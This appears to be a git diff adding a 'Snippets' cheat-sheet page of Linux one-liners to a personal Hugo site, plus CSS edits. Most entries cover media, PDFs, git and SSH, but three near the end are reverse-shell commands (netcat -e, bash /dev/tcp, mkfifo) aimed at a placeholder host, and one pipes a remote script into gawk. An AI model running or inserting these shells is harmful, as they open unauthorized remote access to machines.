A content/snippets/_index.md

@@ -0,0 +1,226 @@ 
+---
+title: Snippets
+description: "Some one-liners and code snippets that are useuful"
+---
+
+## Using awk, tr, to get the remote info of a git repo
+This will output the (fetch) remote of a git repository and
+put the contents into the clipboard
+
+```
+git remote -v | awk '{print $2}' | head -1 | tr -d '\n' | xsel -ib
+```
+
+{{< highlight bash >}}
+
+git remote -v | awk '{print $2}' | head -1 | tr -d '\n' | xsel -ib
+
+{{< /highlight >}}
+
+
+## Using image magick to create single color canvas
+This create a 100x100 image with the color #131313
+
+
+    $ convert -size 100x100 canvas:#131313 canvas.png
+
+
+## Finding out your RAM details
+    
+    $ sudo dmidecode --type 17
+
+
+## Recording Audio
+    
+    $ arecord -f cd > sample.wav 
+
+It can also be piped to ffmpeg to encode it directly
+
+    $ arecord -f cd | ffmpeg -i - out.mp3
+
+
+## Generate random md5sums
+This script will generate random md5sums and write to stdout and also write to
+the file `md5s`
+
+    $ while ; do; dd status=none count=1 bs=8 if=/dev/urandom | md5sum | \
+    cut -d " " -f 1 | tee -a md5s; done
+
+
+## Get a random number from 0-10
+    
+    $ expr $RANDOM % 10
+
+
+## Quickly convert a CRLF ascii-file (dos format) to unix ascii
+    $ cat old.txt | tr -d '\015' > new.txt
+
+
+## Translation on cmd line
+
+    $ gawk -f <(curl -Ls git.io/translate) -- -shell 
+
+See more: www.soimort.org/translate-shell/ 
+
+
+## Mount an MTP device 
+
+    # To list the devices
+    $ simple-mtpfs -l 
+
+    # To mount the device labeled '1'
+    $ simple-mtpfs --device 1 <mount path>
+
+
+## Refresh pacman keys
+    
+    $ sudo pacman-key --refresh-keys 
+
+
+## Record your screen
+
+    $ ffmpeg -video_size 1366x768 -f x11grab -i :0 rec`date +%s`.mp4
+
+with audio:
+
+    $ ffmpeg -video_size 1366x768 -f x11grab -i :0 -f alsa -i default out.mkv
+
+
+
+## A good example of unix piping
+This one liner downloads all the podcast episodes from notrelated.xyz
+This serves as more of an example to show the power and simplicity of piping.
+
+    $ curl -s https://notrelated.xyz/ | grep mp3 | cut -d '"' -f4 | xargs wget
+
+
+## More info about a file
+using the `-i` optoin of `file` you can get some more info about the file like
+the charset, mime type, etc
+    $ file -i file
+
+
+## Mount a cloud storage as filesystem
+Using rclone. Will have to run `rclone config` initially to set it up
+
+    $ rclone remote:path /path/to/mountpoint -vv --vfs-cache-mode full mount 
+
+`-vv` - Verbose
+`--vfs-cache-mode` - cache mode set to 'full' (see manpage)
+
+## Display and control your android device
+
+    $ scrcpy
+
+## Record your android screen
+
+    $ adb shell screenrecord /sdcard/rec.mp4 && adb pull /sdcard/rec.mp4
+
+
+## Playing videos on a text console (tty)
+
+mpv has an option to specifiy a video output driver (`--vo=<driver>`) and one
+of them is drm (Direct Rendering Manager). It Uses Kernel Mode Setting to
+render video. It can be used if one doesn't want to use a full-blown
+graphical environment.
+
+    $ mpv --vo=drm --drm-connector=1.eDP-1 file.mp4
+
+Here '1' in `drm-connector` is the the gpu number in case of multiple video
+cards. Use `drm-connector=help` to list the available connectors.
+
+    $ mpv --vo=gpu --gpu-context=drm --drm-connector=1.eDP-1 file.mp4
+
+This version uses gpu acceleration.
+
+
+## Concatenating multiple media files using ffmpeg
+
+A text file consisting of list of files to concatenate has to be created
+``` filelist.txt
+file '/path/to/file1'
+file '/path/to/file2'
+file '/path/to/file3'
+```
+
+    $ ffmpeg -f concat -safe 0 -i filelist.txt -c copy outputfile.<ext>
+
+`safe 0` is not required if the paths are relative
+
+
+## Splice a pdf
+
+    $ pdftk in.pdf cat 1-8 11-end output out.pdf
+
+This will exclude the pages 9 and 10 from the 'in.pdf' and write it to out.pdf
+
+
+## Show a list of man pages using dmenu and select one
+
+    $ man -k . | dmenu | cut -d ' ' -f1 | xargs man
+
+
+## SSH Remote port forwarding
+
+    $ ssh -N -R 9000:localhost:5000 user@example.com
+
+This forwards any requests sent on port 9000 of example.com to the localhost
+port of 5000. So basically you are exposing port 5000 on your localhost.
+The `-N` flag just tells ssh to not log-in to the server
+
+The following should be enabled in `/etc/ssh/sshd_conf` of the ssh server
+(at example.com):
+```/etc/ssh/sshd_conf
+AllowTcpForwarding yes
+GatewayPorts yes
+```
+
+## Get information about a YT video
+
+    $ ytdl -i https://youtu.be/KaEj_qZgiKY 
+
+ytdl comes with 'python-pafy' package on arch
+
+
+## Change pdf page size
+
+    $ pdfjam --outfile out.pdf --paper a4paper in.pdf 
+
+
+## Reverse Shell using netcat
+    
+    $ nc -e /bin/sh 10.10.10.10 1234
+
+    
+## Reverse Shell using Bash
+
+    $ bash -i >& /dev/tcp/10.10.10.10/1234 0>&1
+
+you then listen for a connection on remote with `nc -l 1234`
+
+
+## Reverse Shell using /bin/sh
+
+    $ rm -f /tmp/f; mkfifo /tmp/f
+    $ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > tmp/f
+
+On remote simply connect using nc on port 1234.
+
+This is actually documented in the man page of netcat that doesn't have the
+`-e`/`-c` option.
+
+
+## List the authors of a git repo in descending order of number of commits
+
+    $ git log --format='%an'| sort | uniq -c | sort -nr
+
+
+## A Python one-liner to convert a csv to json
+
+    $ python -c 'import csv,json,sys; print(json.dumps(list(csv.DictReader(sys.stdin))))' 
+
+Pipe into this a csv to get a json
+
+Example:
+
+    $ curl -s imdb.com/list/ls020046354/export | python -c 'import csv,json,sys; print(json.dumps(list(csv.DictReader(sys.stdin))))'

A layouts/snippets/list.html

@@ -0,0 +1,11 @@ 
+{{ partial "head.html" . }}
+<body>
+  {{ partial "nav.html" }}
+</body>
+  <div class='container'>
+    <div class='post-text'>
+      {{ .Content }}
+    </div>
+  </div>
+</html>
+

M static/css/main.css → static/css/main.css

@@ -235,7 +235,7 @@ 
 .sb{
     padding: 15px;
     display: flex;
-    transition: transform 150ms ease;
+    transition: all 150ms ease;
     box-shadow: 0px 7px 10px rgba(0,0,0,0.20);
     border-radius: 6px;
 }
@@ -348,7 +348,7 @@ display: inline-block;
     padding: 1rem 2rem;
     border-radius: 6px;
     box-shadow: 0px 7px 7px rgba(0,0,0,0.15);
-    transition: transform 150ms ease;
+    transition: all 150ms ease;
 }
 
 .btn:hover {
@@ -360,6 +360,10 @@ 
 .btn:active{
     transform: translateY(1px);
     box-shadow: 0 4px 7px rgba(50, 50, 93, 0.2), 0 3px 6px rgba(0, 0, 0, 0.08);
+}
+
+.btn:focus{
+    outline: none;
 }
 
 #project-cta{